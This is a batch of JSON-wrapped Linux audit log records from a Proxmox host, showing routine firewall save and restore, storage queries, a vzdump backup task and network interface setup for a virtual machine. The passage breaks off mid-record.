{"@timestamp":1781965055435,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.435:63908): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965535689,"@rawstring":"node=pve type=PATH msg=audit(1781965535.689:66029): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055434,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.434:63907): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965535689,"@rawstring":"node=pve type=PATH msg=audit(1781965535.689:66029): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055433,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.433:63906): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965535666,"@rawstring":"node=pve type=PATH msg=audit(1781965535.666:66027): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055426,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.426:63905): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965535666,"@rawstring":"node=pve type=PATH msg=audit(1781965535.666:66027): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055414,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.414:63904): proctitle=\"ip6tables-save\""} {"@timestamp":1781965535639,"@rawstring":"node=pve type=PATH msg=audit(1781965535.639:66026): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055405,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.405:63903): proctitle=\"iptables-save\""} {"@timestamp":1781965535639,"@rawstring":"node=pve type=PATH msg=audit(1781965535.639:66026): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055390,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.390:63902): proctitle=\"ip6tables-save\""} {"@timestamp":1781965535620,"@rawstring":"node=pve type=PATH msg=audit(1781965535.620:66025): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055380,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.380:63901): proctitle=\"iptables-save\""} {"@timestamp":1781965535620,"@rawstring":"node=pve type=PATH msg=audit(1781965535.620:66025): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055376,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.376:63900): proctitle=\"ebtables-restore\""} {"@timestamp":1781965535601,"@rawstring":"node=pve type=PATH msg=audit(1781965535.601:66024): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055370,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.370:63899): proctitle=\"ebtables-restore\""} {"@timestamp":1781965535601,"@rawstring":"node=pve type=PATH msg=audit(1781965535.601:66024): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055363,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.363:63898): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965535589,"@rawstring":"node=pve type=PATH msg=audit(1781965535.589:66023): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055353,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.353:63897): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965535589,"@rawstring":"node=pve type=PATH msg=audit(1781965535.589:66023): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965535578,"@rawstring":"node=pve type=PATH msg=audit(1781965535.578:66022): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.344:63896): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965535578,"@rawstring":"node=pve type=PATH msg=audit(1781965535.578:66022): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.334:63895): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965535566,"@rawstring":"node=pve type=PATH msg=audit(1781965535.566:66021): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055326,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.326:63894): proctitle=697073657400726573746F7265"} {"@timestamp":1781965535566,"@rawstring":"node=pve type=PATH msg=audit(1781965535.566:66021): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055316,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.316:63893): proctitle=\"ip6tables-save\""} {"@timestamp":1781965535543,"@rawstring":"node=pve type=PATH msg=audit(1781965535.543:66020): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.309:63892): proctitle=\"iptables-save\""} {"@timestamp":1781965535543,"@rawstring":"node=pve type=PATH msg=audit(1781965535.543:66020): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055303,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.303:63891): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965535536,"@rawstring":"node=pve type=PATH msg=audit(1781965535.536:66019): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055296,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.296:63890): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965535536,"@rawstring":"node=pve type=PATH msg=audit(1781965535.536:66019): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055295,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.295:63889): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965535528,"@rawstring":"node=pve type=PATH msg=audit(1781965535.528:66018): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055294,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.294:63888): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965535528,"@rawstring":"node=pve type=PATH msg=audit(1781965535.528:66018): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055286,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.286:63887): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965535525,"@rawstring":"node=pve type=PATH msg=audit(1781965535.525:66017): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055269,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.269:63886): proctitle=\"ip6tables-save\""} {"@timestamp":1781965535525,"@rawstring":"node=pve type=PATH msg=audit(1781965535.525:66017): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055235,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.235:63885): proctitle=\"iptables-save\""} {"@timestamp":1781965535525,"@rawstring":"node=pve type=PATH msg=audit(1781965535.525:66016): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.228:63884): proctitle=69707365740073617665"} {"@timestamp":1781965535517,"@rawstring":"node=pve type=PATH msg=audit(1781965535.517:66015): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055215,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.215:63883): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965535517,"@rawstring":"node=pve type=PATH msg=audit(1781965535.517:66015): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965055196,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965055.196:63882): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965535517,"@rawstring":"node=pve type=PATH msg=audit(1781965535.517:66015): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965054757,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965054.757:63881): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965535503,"@rawstring":"node=pve type=PATH msg=audit(1781965535.503:66014): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965054703,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965054.703:63880): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965535503,"@rawstring":"node=pve type=PATH msg=audit(1781965535.503:66014): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053504,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.504:63879): proctitle=7461736B20555049443A7076653A30303030454632423A30303136413039303A36413336413046423A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965535489,"@rawstring":"node=pve type=PATH msg=audit(1781965535.489:66013): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053504,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.504:63878): proctitle=7461736B20555049443A7076653A30303030454632423A30303136413039303A36413336413046423A767A64756D703A3837373A726F6F744070616D3A"} {"@timestamp":1781965535489,"@rawstring":"node=pve type=PATH msg=audit(1781965535.489:66013): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053377,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.377:63877): proctitle=2F7362696E2F74630071646973630064656C0064657600746170383737693000726F6F74"} {"@timestamp":1781965535480,"@rawstring":"node=pve type=PATH msg=audit(1781965535.480:66012): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053374,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.374:63876): proctitle=7368002D63002F7362696E2F74632071646973632064656C2064657620746170383737693020726F6F74203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781965535480,"@rawstring":"node=pve type=PATH msg=audit(1781965535.480:66012): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053351,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.351:63875): proctitle=2F7362696E2F74630071646973630064656C0064657600746170383737693000696E6772657373"} {"@timestamp":1781965535466,"@rawstring":"node=pve type=PATH msg=audit(1781965535.466:66011): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053348,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.348:63874): proctitle=7368002D63002F7362696E2F74632071646973632064656C2064657620746170383737693020696E6772657373203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781965535466,"@rawstring":"node=pve type=PATH msg=audit(1781965535.466:66011): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053337,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.337:63873): proctitle=2F7362696E2F74630066696C7465720064656C0064657600746170383737693000706172656E7400666666663A0070726F746F636F6C00616C6C007072656600353000753332"} {"@timestamp":1781965535452,"@rawstring":"node=pve type=PATH msg=audit(1781965535.452:66010): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053333,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.333:63872): proctitle=7368002D63002F7362696E2F74632066696C7465722064656C2064657620746170383737693020706172656E7420666666663A2070726F746F636F6C20616C6C207072656620353020753332203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781965535452,"@rawstring":"node=pve type=PATH msg=audit(1781965535.452:66010): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053301,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.301:63871): proctitle=2F7362696E2F746300636C6173730064656C0064657600746170383737693000706172656E7400313A00636C617373696400313A31"} {"@timestamp":1781965534614,"@rawstring":"node=pve type=PATH msg=audit(1781965534.614:66009): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053291,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.291:63870): proctitle=7368002D63002F7362696E2F746320636C6173732064656C2064657620746170383737693020706172656E7420313A20636C617373696420313A31203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781965534614,"@rawstring":"node=pve type=PATH msg=audit(1781965534.614:66009): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053270,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.270:63869): proctitle=2F7362696E2F6970006C696E6B00736574007461703837376930006D617374657200667762723837376930"} {"@timestamp":1781965534579,"@rawstring":"node=pve type=PATH msg=audit(1781965534.579:66008): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053223,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.223:63868): proctitle=2F7362696E2F6970006C696E6B00736574007461703837376930006D74750031353030"} {"@timestamp":1781965534579,"@rawstring":"node=pve type=PATH msg=audit(1781965534.579:66008): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053204,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.204:63867): proctitle=2F7362696E2F6970006C696E6B007365740066776C6E3837376930006D617374657200667762723837376930"} {"@timestamp":1781965533363,"@rawstring":"node=pve type=PATH msg=audit(1781965533.363:66007): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053198,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.198:63866): proctitle=2F7362696E2F6970006C696E6B007365740066776C6E3837376930006D617374657200667762723837376930"} {"@timestamp":1781965533363,"@rawstring":"node=pve type=PATH msg=audit(1781965533.363:66007): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.192:63865): proctitle=2F7362696E2F6970006C696E6B007365740066776C6E3837376930006D74750031353030"} {"@timestamp":1781965533363,"@rawstring":"node=pve type=PATH msg=audit(1781965533.363:66006): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053183,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.183:63864): proctitle=2F7362696E2F6970006C696E6B0073657400667770723837377030006D617374657200766D627230"} {"@timestamp":1781965533363,"@rawstring":"node=pve type=PATH msg=audit(1781965533.363:66005): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053177,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.177:63863): proctitle=2F7362696E2F6970006C696E6B0073657400667770723837377030006D617374657200766D627230"} {"@timestamp":1781965533352,"@rawstring":"node=pve type=PATH msg=audit(1781965533.352:66004): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.171:63862): proctitle=2F7573722F6C69622F73797374656D642F73797374656D642D73797363746C002D2D7072656669783D2F6E65742F697076342F636F6E662F66776C6E3837376930002D2D7072656669783D2F6E65742F697076342F6E656967682F66776C6E3837376930002D2D7072656669783D2F6E65742F697076362F636F6E662F66776C"} {"@timestamp":1781965533352,"@rawstring":"node=pve type=PATH msg=audit(1781965533.352:66004): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053167,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.167:63861): proctitle=2F7362696E2F6970006C696E6B0073657400667770723837377030006D74750031353030"} {"@timestamp":1781965533352,"@rawstring":"node=pve type=PATH msg=audit(1781965533.352:66003): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053166,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.166:63860): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C6572007374617274"} {"@timestamp":1781965533352,"@rawstring":"node=pve type=PATH msg=audit(1781965533.352:66002): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053164,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.164:63859): proctitle=\"(udev-worker)\""} {"@timestamp":1781965528343,"@rawstring":"node=pve type=PATH msg=audit(1781965528.343:66001): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053157,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.157:63857): proctitle=2F7573722F6C69622F73797374656D642F73797374656D642D73797363746C002D2D7072656669783D2F6E65742F697076342F636F6E662F667770723837377030002D2D7072656669783D2F6E65742F697076342F6E656967682F667770723837377030002D2D7072656669783D2F6E65742F697076362F636F6E662F667770"} {"@timestamp":1781965528343,"@rawstring":"node=pve type=PATH msg=audit(1781965528.343:66001): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053158,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.158:63858): proctitle=7265616C70617468002F7379732F646576696365732F7669727475616C2F6E65742F66776C6E38373769302F2E2E2F2E2E"} {"@timestamp":1781965528343,"@rawstring":"node=pve type=PATH msg=audit(1781965528.343:66000): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053153,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.153:63855): proctitle=2F62696E2F7368002F7573722F6C69622F756465762F7669727475616C2D66756E6374696F6E2D6E616D696E672D68656C706572"} {"@timestamp":1781965528342,"@rawstring":"node=pve type=PATH msg=audit(1781965528.342:65999): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053151,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.151:63854): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C6572007374617274"} {"@timestamp":1781965528335,"@rawstring":"node=pve type=PATH msg=audit(1781965528.335:65998): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053153,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.153:63856): proctitle=2F7362696E2F6970006C696E6B0073657400667770723837377030007570006D74750031353030"} {"@timestamp":1781965528335,"@rawstring":"node=pve type=PATH msg=audit(1781965528.335:65998): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053150,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.150:63853): proctitle=\"(udev-worker)\""} {"@timestamp":1781965528335,"@rawstring":"node=pve type=PATH msg=audit(1781965528.335:65997): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053147,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.147:63852): proctitle=2F7362696E2F6970006C696E6B007365740066776C6E3837376930007570006D74750031353030"} {"@timestamp":1781965528335,"@rawstring":"node=pve type=PATH msg=audit(1781965528.335:65996): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965053147,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965053.147:63851): proctitle=7265616C70617468002F7379732F646576696365732F7669727475616C2F6E65742F6677707238373770302F2E2E2F2E2E"} {"@timestamp":1781965525425,"@rawstring":"node=pve type=PATH msg=audit(1781965525.425:65995): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 